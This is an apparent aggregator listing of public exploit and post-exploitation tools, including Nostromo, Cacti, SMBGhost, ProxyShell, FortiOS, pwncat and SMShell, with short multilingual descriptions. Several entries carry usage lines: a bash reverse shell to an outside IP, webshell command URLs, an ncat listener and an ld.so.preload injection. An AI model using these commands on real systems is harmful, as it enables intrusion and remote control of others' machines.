PrettyPrague

PrettyPrague Vulnerabilidad de Elevación de Privilegios ZeroDay en GenDigital Avast Antivirus Otro zeroday en un proveedor de antimalware, no estoy seguro, pero creo que esta vulnerabilidad también afecta a otros productos de GenDigital como AVG, Norton... Por ahora el PoC es compatible con...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE これは、Nostromo 1.9.6 RCE に対する CVE-2019-16278 のエクスプロイトです。このエクスプロイトにより、被害マシン上で RCE が可能になります。 要件 optparse socat sys 使用方法 以下のようにエクスプロイトを使用できます： root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443...

RancidCrisco

RancidCrisco CVE-2023-20126 の最小限の PoC これは初期リリースです。動作しますが、「最も単純なケース」のエクスプロイトです。 SPA112/SPA122 でテスト済み、動作確認済みです。SPA232D は別のファームウェアイメージが必要です。 ポート 23000/tcp で root シェルを提供します。 ファームウェアを編集するために使用したツールチェーンをまだ整理する必要があり、おそらく別のリポジトリに置く予定です。これは主に @BigNerd95 の作業に基づいていますが、SPA112/122...

CVE-2025-55182

CVE-2025-55182 React2Shell 漏洞利用工具包 🎯 完整可用的漏洞利用演示 本项目提供了 CVE-2025-55182 React2Shell 的功能完整 演示——这是存在于 React Server Components 和 Next.js 中的一个严重远程代码执行漏洞。 状态： ✅ 可用 —— 可在易受攻击的服务器上实现实际命令执行 🚀 包含内容 可用的漏洞利用二进制文件 语言： Go 1.25.5 二进制文件： CVE-2025-55182（7.8MB 编译后的可执行文件） 功能： 在易受攻击的 Next.js 服务器上提供交互式 RCE shell...

WebLogic-Shiro-shell

Java逆シリアライズ技術の共有 今回の共有で扱う内容は以下のとおりです。 1. Javaのシリアライズと逆シリアライズの基礎 2. なぜ逆シリアライズの際に脆弱性が発生するのか？ 3. Javaリフレクション 4. ysoserial CommonsCollections2、CommonsCollections5 5. Java ClassLoader でクラスをロードするいくつかの方法 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE 7. Shiro-550 rememberMe のハードコードによる逆シリアライズRCE 8. WebLogic...

pwncat

pwncat pwncatは、Linuxターゲット向けの ポストエクスプロイテーションプラットフォームです。基本的なバインドシェルやリバースシェルのラッパーとして始まり、そこから成長しました。攻撃者マシンからコードをステージングしながら、一般的なレッドチーム運用を効率化します。ターゲット上でコードを実行するのではありません。...

CVE-2024-25641

Cacti CVE-2024-25641 認証済みパッケージアップロードRCE 概念実証 PoC このスクリプトは、Webベースの監視ツールであるCactiにおけるCVE-2024-25641脆弱性を悪用するための概念実証（PoC）です。スクリプトは、アプリケーションへの認証、悪意のあるパッケージのアップロード、リバースシェルの起動を自動化します。 必要条件 Python 3.x requests ライブラリ argparse ライブラリ re ライブラリ 必要なPythonライブラリはpip3を使用してインストールできます： root@kitploit: pip3 install...

CVE-2026-48172

📚 教育性安全研究仓库 一个用于在受控环境中学习、测试和研究网络安全概念的仓库。 ⚡ 简单用法 请仅在安全且已授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 已授权的渗透测试环境 示例配置： root@kitploit: git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172 cd lab docker compose up --build -d cd .. 示例用法： root@kitploit: 用于本地主机（自动使用 HTTP） python3...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL URL objetivo -c COMMAND, --command COMMAND Comando -i LHOST, --lhost LHOST Dirección del host de rebote -p LPORT, --lport LPORT Puerto del host de rebote -f FILE, --file FILE Escaneo por lotes...

SMShell

SMShell SMSベースのシェルのPoC（概念実証）です。モバイルブロードバンド対応コンピュータからSMS経由でコマンドを送信し、応答を受信します。 このツールは、Markus Vervier氏が主導したeSIMセキュリティの影響に関する研究中に着想を得て開発され、Offensivecon 2023で発表されました。 免責事項 これは完全なC2ではなく、SMS経由でリモートからコマンドを実行するためのシンプルな概念実証（Proof of Concept）です。 必要条件...

CVE-2016-10033

CVE2016-10033 利用 PoC 该仓库包含在易受攻击的 WordPress 版本上利用 CVE2016-10033 所需的文件。 按照这些说明，你将能够在运行 WordPress 的容器中获得一个反向交互式 shell（非伪 TTY），该 shell 以运行 Apache 服务器的用户身份执行。 此漏洞利用不需要任何类型的身份验证或插件。只需纯 WordPress 代码 + Exim4 MTA（大多数服务器上已安装）即可从 WordPress 发送电子邮件。 CVE2016-10033 完整公告 要求 基于 Linux 的操作系统 Docker docker-compose...

CVE-2025-24813-apache-tomcat

CVE-2025-24813 Nuclei テンプレート CVE-2025–24813 root@kitploit: nuclei -l list.txt -t CVE-2025–24813.yaml シェルを実行 root@kitploit: http://target.com/updates.jsp?cmd=whoami...

CVE-2022-24715

Icinga Web 2 - 認証済みリモートコード実行 2.8.6、2.9.6、2.10 リモートコマンド実行 リバースシェル 使用方法 root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U USER, --user USER Insert user -U user -P...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] Single retrieval python sendwebshellmail.py https://mail16.echod.com crack Batch read emails from mail.txt and attempt to obtain SID tokens python sendwebshellmail.py https://mail16.echod.com [email protected] send on...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" 是一个 Python 脚本，用于从 msfvenom 获取 shellcode，然后将输出复制到 exp.pdf 以替换 'calc' shellcode 块，最后即可生效。哎呀，这是一个 tcp 反向 shellcode。 示例代码如下：python getshellcodefrommsf.py 192.168.1.79 1234...

CVE-2013-2028-Exploit

CVE-2013-2028 エクスプロイト 脆弱性の詳細 脆弱性のあるソフトウェア: Nginx 1.3.9 -lp 4. エクスプロイトにカナリアの実際の値を見つけさせ、リバースシェルを起動します。...

CVE-2020-0796

CVE-2020-0796 远程代码执行 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 发现攻击者的失误 CVE-2020-0796 / "SMBGhost" 的远程代码执行 POC 预期结果：具有系统权限的反向 Shell。 仅供企业环境中教育和测试使用。 ZecOps 不对代码承担任何责任，使用风险自负。 如果您对用于服务器、终端和移动设备的无代理 DFIR 工具感兴趣，以自动检测 SMBGhost 和其他类型的攻击，请联系 [email protected]。 用法 确保已安装 Python 和 ncat 。...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner 使用方法 root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort クレジット https://hackerone.com/reports/1154542 ここからコードスニペットを参照: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 免責事項: root@kitploit: The script...

CVE-2020-0796

使用方法 Python と ncat がインストールされていることを確認してください。 ターゲットコンピュータ上で calctargetoffsets.bat を実行し、スクリプトの出力に従って SMBleedingGhost.py ファイルの先頭にあるオフセットを調整します下記の注も参照してください。 ncat を次のコマンドライン引数で実行します: ncat -lvp ここで は ncat が待ち受けるポート番号です。 SMBleedingGhost.py を次のコマンドライン引数で実行します: SMBleedingGhost.py ここで はターゲットとなる脆弱なコンピュータの I...

CVE-2017-14187_PoC_ARMv7

CVE-2017-14187 PoC FortiOS 5.6.0～5.6.2、5.4.0～5.4.8、および5.2未満に対するローカル権限昇格の概念実証 fnsysctlとUSBによってトリガーされます（そのため物理アクセスが必要）。 このPoCはCVE-2017-14187を悪用してローカルルートシェルを生成します。 解説 韓国語 英語 TL;DR 1. fnsysctl cp /usb/payloadpathfile /etc/ld.so.preload 2. fnsysctl ls - LDPRELOADインジェクション - 任意コード実行 - LPE（制限シェル脱出）...